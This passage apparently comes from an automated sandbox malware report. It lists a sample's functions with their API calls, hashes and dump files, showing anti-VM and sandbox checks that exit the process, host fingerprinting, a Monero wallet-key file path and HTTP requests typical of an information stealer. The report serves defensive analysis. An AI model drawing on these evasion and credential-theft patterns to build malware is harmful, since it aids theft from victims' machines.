Part of subcall function 0047A820: lstrcpy.KERNEL32(00480DDE,00000000), ref: 0047A885

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00475644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004756A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00475857

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 004751F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00475228

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

Part of subcall function 004752C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00475318
Part of subcall function 004752C0: lstrlen.KERNEL32(00000000), ref: 0047532F
Part of subcall function 004752C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00475364
Part of subcall function 004752C0: lstrlen.KERNEL32(00000000), ref: 00475383
Part of subcall function 004752C0: lstrlen.KERNEL32(00000000), ref: 004753AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0047578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00475940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00475A0C
Sleep.KERNEL32(0000EA60), ref: 00475A1B

Strings

ERROR, xrefs: 00475693
ERROR, xrefs: 00475932
ERROR, xrefs: 00475849
ERROR, xrefs: 0047577D
ERROR, xrefs: 00475636
ERROR, xrefs: 004759FE

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 41fbebf32a66c0a9c87b5830b28b784503e96326f685ee16c7502fd46e382f22
Instruction ID: df27b6b57fa83187ed1782ed23722fd9418fbdae2bb30e01b3208b95d3dbf2ac
Opcode Fuzzy Hash: 41fbebf32a66c0a9c87b5830b28b784503e96326f685ee16c7502fd46e382f22
Instruction Fuzzy Hash: 06E17371910104AACB18FBB1DC52AEE7339AF94304F50C52FB41A56091EF7C6A19CBAB

Function 004717A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 004717C5
ExitProcess.KERNEL32 ref: 004717D1

Strings

block, xrefs: 004717B7

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 2d163773a6abff3a1164b516fd49f2091008e4eb348989dcb88f3666ab657c72
Instruction ID: 4eec4a132e362482ae6383585eb71cfdeea199571e131e86418d275837b9b9d0
Opcode Fuzzy Hash: 2d163773a6abff3a1164b516fd49f2091008e4eb348989dcb88f3666ab657c72
Instruction Fuzzy Hash: D4516CF4A04209EBCB04EFA4C954BFE77B5AF44704F10C44AE50967360D778E956CB6A

Function 00477500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00477542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0047757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00477603
RtlAllocateHeap.NTDLL(00000000), ref: 0047760A
wsprintfA.USER32 ref: 00477640

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Strings

C, xrefs: 0047754C
H, xrefs: 0047764D, 00477655, 0047761B, 00477623
\, xrefs: 00477560
:, xrefs: 0047755C

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$H
API String ID: 1544550907-3928310333
Opcode ID: 37e54d487f94721b56d2a15f0e8534554f4dcbab8e1287ed4fb29a7dc045736c
Instruction ID: 369938c48f56f7a9f5c5bcdcb0437ad57daf7d274f89edbf432e8e5f8f789822
Opcode Fuzzy Hash: 37e54d487f94721b56d2a15f0e8534554f4dcbab8e1287ed4fb29a7dc045736c
Instruction Fuzzy Hash: B64173B1D04258ABDB10DF94DC45BEEBBB8EF48714F10419EF50967280D778AA44CFA9

Function 004769F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E807C8), ref: 004798A1
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E807F8), ref: 004798BA
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E80810), ref: 004798D2
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E805A0), ref: 004798EA
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E80840), ref: 00479903
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E88BA0), ref: 0047991B
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E765C0), ref: 00479933
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E762A0), ref: 0047994C
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E806F0), ref: 00479964
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E80648), ref: 0047997C
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E80708), ref: 00479995
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E80558), ref: 004799AD
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E76480), ref: 004799C5
Part of subcall function 00479860: GetProcAddress.KERNEL32(75900000,00E80570), ref: 004799DE

Part of subcall function 0047A740: lstrcpy.KERNEL32(00480E17,00000000), ref: 0047A788

Part of subcall function 004611D0: ExitProcess.KERNEL32 ref: 00461211

Part of subcall function 00461160: GetSystemInfo.KERNEL32(?), ref: 0046116A
Part of subcall function 00461160: ExitProcess.KERNEL32 ref: 0046117E

Part of subcall function 00461110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0046112B
Part of subcall function 00461110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00461132
Part of subcall function 00461110: ExitProcess.KERNEL32 ref: 00461143

Part of subcall function 00461220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0046123E
Part of subcall function 00461220: __aulldiv.LIBCMT ref: 00461258
Part of subcall function 00461220: __aulldiv.LIBCMT ref: 00461266
Part of subcall function 00461220: ExitProcess.KERNEL32 ref: 00461294

Part of subcall function 00476770: GetUserDefaultLangID.KERNEL32 ref: 00476774

Part of subcall function 00461190: ExitProcess.KERNEL32 ref: 004611C6

Part of subcall function 00477850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004611B7), ref: 00477880
Part of subcall function 00477850: RtlAllocateHeap.NTDLL(00000000), ref: 00477887
Part of subcall function 00477850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0047789F

Part of subcall function 004778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00477910
Part of subcall function 004778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00477917
Part of subcall function 004778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0047792F

Part of subcall function 0047A9B0: lstrlen.KERNEL32(?,00E888E0,?,\Monero\wallet.keys,00480E17), ref: 0047A9C5
Part of subcall function 0047A9B0: lstrcpy.KERNEL32(00000000), ref: 0047AA04
Part of subcall function 0047A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0047AA12

Part of subcall function 0047A8A0: lstrcpy.KERNEL32(?,00480E17), ref: 0047A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E88B20,?,0048110C,?,00000000,?,00481110,?,00000000,00480AEF), ref: 00476ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00476AE8
CloseHandle.KERNEL32(00000000), ref: 00476AF9
Sleep.KERNEL32(00001770), ref: 00476B04
CloseHandle.KERNEL32(?,00000000,?,00E88B20,?,0048110C,?,00000000,?,00481110,?,00000000,00480AEF), ref: 00476B1A
ExitProcess.KERNEL32 ref: 00476B22

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 5046363cf0ceb7f2e4f8255f45d87da539b2db398f67256c39a366ce81a3c825
Instruction ID: 742608a79b870403eb3756a330a120e347b80ef441d0cd2c14138ee3862e1cad
Opcode Fuzzy Hash: 5046363cf0ceb7f2e4f8255f45d87da539b2db398f67256c39a366ce81a3c825
Instruction Fuzzy Hash: 603132709001086ADB04FBF1DC56BEE7779AF45304F11891FF216A2191EF786915CBAB

Function 00461220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0046123E
__aulldiv.LIBCMT ref: 00461258
__aulldiv.LIBCMT ref: 00461266
ExitProcess.KERNEL32 ref: 00461294

Strings

@, xrefs: 00461233

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: ff9a2d77535fb552a8c36f702b662037f888bbec635b73683a692d855a7f1839
Instruction ID: bc8b765212fe32282994d1423be4dfb9d525743297d40ac85fa92f2178bd6045
Opcode Fuzzy Hash: ff9a2d77535fb552a8c36f702b662037f888bbec635b73683a692d855a7f1839
Instruction Fuzzy Hash: AE0162B0D40308BADB10EBE1DC49B9EBB78BF04705F24845AE705B62D0E77855458B5E

Function 00476AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00E88B20,?,0048110C,?,00000000,?,00481110,?,00000000,00480AEF), ref: 00476ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00476AE8
CloseHandle.KERNEL32(00000000), ref: 00476AF9
Sleep.KERNEL32(00001770), ref: 00476B04
CloseHandle.KERNEL32(?,00000000,?,00E88B20,?,0048110C,?,00000000,?,00481110,?,00000000,00480AEF), ref: 00476B1A
ExitProcess.KERNEL32 ref: 00476B22

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: d47522e6632391298b746ab24530fdf26a7db4c8cb5bc0f247d2fba7843ffde6
Instruction ID: 6c14f6501db86ab282718faab37bdf4372110155683e6fe03c41e9993249bca0
Opcode Fuzzy Hash: d47522e6632391298b746ab24530fdf26a7db4c8cb5bc0f247d2fba7843ffde6
Instruction Fuzzy Hash: C6F03A70940619AAE700FBA09C06BFE7A36EB05705F11D91BB50AA5181CBB86541DA6A

Function 004647B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00464839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00464849

Strings

<, xrefs: 004647C9

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: cde7b223cd32a68ee27bd217dc637c80077666d85c472035dcafe7cef307a78e
Instruction ID: 9dab5d16d8af7448335e834bd37e259c5521e3eefd2408c3c1fc2ae4290e93b1
Opcode Fuzzy Hash: cde7b223cd32a68ee27bd217dc637c80077666d85c472035dcafe7cef307a78e
Instruction Fuzzy Hash: 082162B1D00209ABDF10DFA5EC45ADE7775FB45310F108629F515A72D0EB706609CF91

Function 004751F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0047A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0047A7E6

Part of subcall function 00466280: InternetOpenA.WININET(00480DFE,00000001,00000000,00000000,00000000), ref: 004662E1
Part of subcall function 00466280: StrCmpCA.SHLWAPI(?,00E8E2F0), ref: 00466303
Part of subcall function 00466280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00466335
Part of subcall function 00466280: HttpOpenRequestA.WININET(00000000,GET,?,00E8DCF8,00000000,00000000,00400100,00000000), ref: 00466385
Part of subcall function 00466280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 004663BF
Part of subcall function 00466280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004663D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00475228

Strings

ERROR, xrefs: 00475273
ERROR, xrefs: 0047521A

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 7403bab59aa73b0d4cf92aed89af4f5e944a161cb7a1fb34b3063da47bf74b53
Instruction ID: 896e2dd4189cd8126bf0b759eff630b8eb30c21325648f3e4a4e93176a2b50f9
Opcode Fuzzy Hash: 7403bab59aa73b0d4cf92aed89af4f5e944a161cb7a1fb34b3063da47bf74b53
Instruction Fuzzy Hash: 1A111F30910008A6CB14FF65DD52AED7338AF90304F50856EF81E4A592EF78AB16CB9A

Function 004778E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00477910
RtlAllocateHeap.NTDLL(00000000), ref: 00477917
GetComputerNameA.KERNEL32(?,00000104), ref: 0047792F

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000542000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.00000000006AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.00000000006BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000844000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.000000000093D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000947000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093869765.0000000000954000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094139101.0000000000955000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094265173.0000000000AE6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2094283446.0000000000AE7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_460000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: bbb43af43b3f29ec62c5e3168af34b86e64211d4d2d2fd24c44c08d55c34aec7
Instruction ID: 9132e9a31a955ceabc101e0a02199f1b55e802787ef77f08d4cd4c8f35f3f168
Opcode Fuzzy Hash: bbb43af43b3f29ec62c5e3168af34b86e64211d4d2d2fd24c44c08d55c34aec7
Instruction Fuzzy Hash: 0A0162F1944205EBD710DF94DD45BEABBB8FB45B11F10421BE645E2280C37869048BA6

Function 00461110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0046112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00461132
ExitProcess.KERNEL32 ref: 00461143

Memory Dump Source

Source File: 00000000.00000002.2093692099.0000000000461000.00000040.00000001.01000000.00000003.sdmp, Offset: 00460000, based on PE: true

Associated: 00000000.00000002.2093666310.0000000000460000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.0000000000511000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093692099.000000000051D000.00000040.00000001.01000000.00000003.sdmpDownload File
